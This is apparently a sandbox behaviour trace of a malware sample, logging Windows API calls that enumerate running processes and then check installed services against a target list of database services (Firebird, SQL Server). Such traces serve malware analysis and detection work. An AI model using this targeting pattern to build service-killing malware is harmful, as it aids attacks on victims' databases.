	[0082.623] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0082.623] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0082.623] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0082.624] lstrlenW (lpString="msoia.exe") returned 9
	[0082.624] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0082.624] lstrlenW (lpString="msoia.exe") returned 9
	[0082.625] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0082.625] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0082.625] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0082.626] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0082.626] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0082.658] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0082.658] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0082.658] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0082.658] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0082.659] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0082.659] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0082.660] lstrlenW (lpString="legends.exe") returned 11
	[0082.660] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0082.660] lstrlenW (lpString="miniature.exe") returned 13
	[0082.660] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0082.661] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0082.661] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0082.661] lstrlenW (lpString="thorough.exe") returned 12
	[0082.661] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0082.662] lstrlenW (lpString="dllhost.exe") returned 11
	[0082.662] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0082.662] lstrlenW (lpString="interactive.exe") returned 15
	[0082.662] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0082.663] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0082.663] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0082.663] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0082.664] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0082.664] lstrlenW (lpString="eastexamined.exe") returned 16
	[0082.664] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0082.665] lstrlenW (lpString="attacks-according.exe") returned 21
	[0082.665] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0082.666] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0082.666] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0082.666] lstrlenW (lpString="values latin.exe") returned 16
	[0082.666] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0082.667] lstrlenW (lpString="eaufeed.exe") returned 11
	[0082.667] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0082.668] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0082.668] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0082.668] lstrlenW (lpString="burning.exe") returned 11
	[0082.669] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0082.669] lstrlenW (lpString="warned-garage.exe") returned 17
	[0082.669] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0082.670] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0082.670] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0082.670] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0082.670] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0082.671] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0082.671] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0082.672] lstrlenW (lpString="proprietary.exe") returned 15
	[0082.672] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.672] lstrlenW (lpString="conhost.exe") returned 11
	[0082.672] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.036] lstrlenW (lpString="conhost.exe") returned 11
	[0083.036] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0083.036] lstrlenW (lpString="payload2.exe") returned 12
	[0083.037] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0083.037] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0083.037] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.038] lstrlenW (lpString="conhost.exe") returned 11
	[0083.038] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.039] lstrlenW (lpString="svchost.exe") returned 11
	[0083.039] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0083.039] lstrlenW (lpString="cmd.exe") returned 7
	[0083.039] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0083.040] lstrlenW (lpString="conhost.exe") returned 11
	[0083.040] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0083.041] lstrlenW (lpString="mode.com") returned 8
	[0083.041] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0083.041] lstrlenW (lpString="LogonUI.exe") returned 11
	[0083.041] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0083.042] CloseHandle (hObject=0x358) returned 1
	[0083.042] Sleep (dwMilliseconds=0x1f4) 
	[0084.099] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d840
	[0084.100] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0084.101] GetLastError () returned 0xea
	[0084.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d4a) returned 0x43587b0
	[0084.101] EnumServicesStatusExW (in: hSCManager=0x52d840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43587b0, cbBufSize=0x1d4a, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43587b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0084.102] CloseServiceHandle (hSCObject=0x52d840) returned 1
	[0084.102] lstrlenW (lpString="Appinfo") returned 7
	[0084.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0084.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0084.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0084.103] lstrlenW (lpString="AppXSvc") returned 7
	[0084.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0084.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0084.103] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0084.103] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0084.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0084.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0084.103] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0084.103] lstrlenW (lpString="Audiosrv") returned 8
	[0084.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0084.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0084.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0084.103] lstrlenW (lpString="BFE") returned 3
	[0084.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0084.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0084.103] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0084.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0084.103] lstrlenW (lpString="BITS") returned 4
	[0084.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0084.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0084.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0084.104] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0084.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0084.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0084.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0084.104] lstrlenW (lpString="CDPSvc") returned 6
	[0084.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0084.104] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0084.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0084.104] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0084.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0084.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0084.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0084.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0084.104] lstrlenW (lpString="CryptSvc") returned 8
	[0084.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0084.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0084.105] lstrlenW (lpString="DcomLaunch") returned 10
	[0084.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0084.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0084.105] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0084.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0084.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0084.105] lstrlenW (lpString="Dhcp") returned 4
	[0084.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0084.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0084.105] lstrlenW (lpString="Dnscache") returned 8
	[0084.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0084.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0084.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0084.105] lstrlenW (lpString="DoSvc") returned 5
	[0084.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0084.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0084.106] lstrlenW (lpString="DPS") returned 3
	[0084.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0084.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0084.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0084.106] lstrlenW (lpString="DusmSvc") returned 7
	[0084.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0084.106] lstrlenW (lpString="EventLog") returned 8
	[0084.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0084.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0084.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0084.106] lstrlenW (lpString="EventSystem") returned 11
	[0084.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0084.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0084.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0084.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0084.106] lstrlenW (lpString="FontCache") returned 9
	[0084.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0084.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0084.106] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0084.107] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0084.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0084.107] lstrlenW (lpString="gpsvc") returned 5
	[0084.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0084.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0084.107] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
